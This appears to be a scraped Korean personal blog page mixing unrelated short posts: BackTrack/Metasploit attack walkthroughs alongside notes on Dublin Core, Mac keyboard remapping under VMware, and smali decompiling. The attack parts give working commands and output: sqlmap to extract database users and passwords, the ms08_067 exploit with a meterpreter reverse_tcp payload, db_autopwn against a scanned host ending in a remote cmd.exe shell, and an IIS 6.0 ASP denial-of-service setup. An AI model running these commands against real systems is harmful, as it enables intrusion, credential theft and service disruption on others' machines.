root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1¶m=2" -v 1 --current-user --password
를 입력해 error based 공격으로 id를 알아낸다.
파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.
id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1¶m=2" -v 1 --current-user --password
를 입력해 error based 공격으로 id를 알아낸다.
파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.
id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.
[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트
[XML] Dublin Core(DC)
Dublin Core 15개 데이터 요소 | ||
콘텐츠 기술(내용) 요소 | 지적속성요소 | 물리적 기술(구현)요소 |
Title(표제) Subject(주제) Description(설명) Source(출전) Language(언어) Relation(관련자료) Coverage(내용범위) | Creator(제작자) Publisher(발행처) Contributor(기타제작자) Right(이용조건) | Date(발행일자) Type(자료유형) Format(형식) Identifier(식별자) |
[Tip] Windows NT/2000/XP/2003/Vista 비밀번호 분실 해제
[다음View] 외부게시글 이용해 등록하기
[GIT] github의 기본적인 명령어
[OSX] VMWARE 에 WINDOWS 설치 후, 키보드 매핑
http://docs.cena.co.kr/?mid=textyle&category=13620&document_srl=17478
위 사이트를 참고하였다.
Left Option(0038) -> Left Windows(E05B)
Left Command(E05B) -> Left Alt(0038)
Right Control(E01D) -> Context Menu(E05D)
Right Option(E038) -> 한자(E071)
Right Command(E05C) -> 한글(E072)
위와 같이 변경해 보았으나, 기본적으로 Left Command + Tab이 OSX의 창 전환 기능이기 때문에, WINDOWS에서 사용할 수 없다. 그래서 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard Layout
에서 Scancode Map의 데이터를 다음과 같이 입력했다.
00 00 00 00 // Map Header
00 00 00 00 // Map Version
06 00 00 00 // Count (DWORD)
5B E0 5B E0 // Left Command(E05B) -> Left Windows(E05B)
38 00 38 00 // Left Option(0038) -> Left Alt(0038)
5D E0 1D E0 // Right Control(E01D) -> Context Menu(E05D)-> 내 맥북 AIR에는 없다
71 E0 38 E0 // Right Option(E038) -> 한자(E071)
72 E0 5C E0 // Right Command(E05C) -> 한글(E072)
00 00 00 00
이렇게 하여, 한자, 한글만 적용했다.
[MAC LION] launchpad 아이콘 삭제
[FACEBOOK] 앱 만들기1
[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기
[Webdav] pearl로 취약성 테스트 하기
[backtrack] netbios 바인딩 microsoft-ds 445 취약점
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
msf exploit(ms08_067_netapi) > exploit
[backtrack] msrpc 135 파일 및 프린터 공유 취약점
[backtrack] 무작위 공격 툴 medusa 사용법
[backtrack] 무작위 공격 툴 medusa 사용법
[backtrack] autopwn 을 이용한 자동 공격
backtrack 4를 설치하거나, image를 받아서 실행시킨다.
backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,
# /etc/init.d/networking start
자동으로 실행시키려면, .bash_profile에 등록 한다.
# vi /root/.bash_profile
/etc/init.d/networking start
이젠 autopwn을 사용할 차례다.
# msfconsole
msf > db_status
[*] postgresql selected, no connection
라고 나온다.
그러면, 사용할 수 있는 db를 알아보기 위해
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql, sqlite3
mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create client
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: client
msf > db_status
[*] sqlite3 connected to client
위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.
msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT
Nmap scan report for xxx.xxx.xxx.xxx
Host is up (0.015s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)
111/tcp open rpcbind 2 (rpc #100000)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp
2869/tcp filtered icslap
3306/tcp open mysql MySQL (unauthorized)
4444/tcp filtered krb524
Device type: general purpose
Running: Apple Mac OS X 10.5.X
OS details: Apple Mac OS X 10.5.5 (Leopard)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
msf > db_autopwn -p -e -t
[*] Analysis completed in 9 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)
음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.
http://www.youtube.com/watch?v=VXmE0QycUd8
나머지는 동영상을 참조 한다.
성공하면 아래와 같이 콘솔로 접근할 수 있다.
sessions -l
session -i 1
meterpreter > execute -f cmd.exe -H -i
c:WINDOWSsystem32>
[backtrack] ms10_065_ii6_asp_dos
iis 6.0 취약점을 이용한 공격
<%
Dim variable
variable = Request.Form("FOOBAR")
%
위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.
URI default 값은 page.asp 이다.
Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.
smali <-> java
위 사이트를 참고 하면 된다.
https://code.google.com/p/smali/downloads/detail?name=baksmali-1.4.0.jar&can=4&q=
baksmali 를 받고,
> java -jar baksmali-1.4.0.jar classes.dex
하면, out 디렉터리에 smali 코드가 나온다.
다시 dex로 만들 땐 아래와 같이 한다.
> java -jar smali-1.4.0.jar out
음.
댓글 달기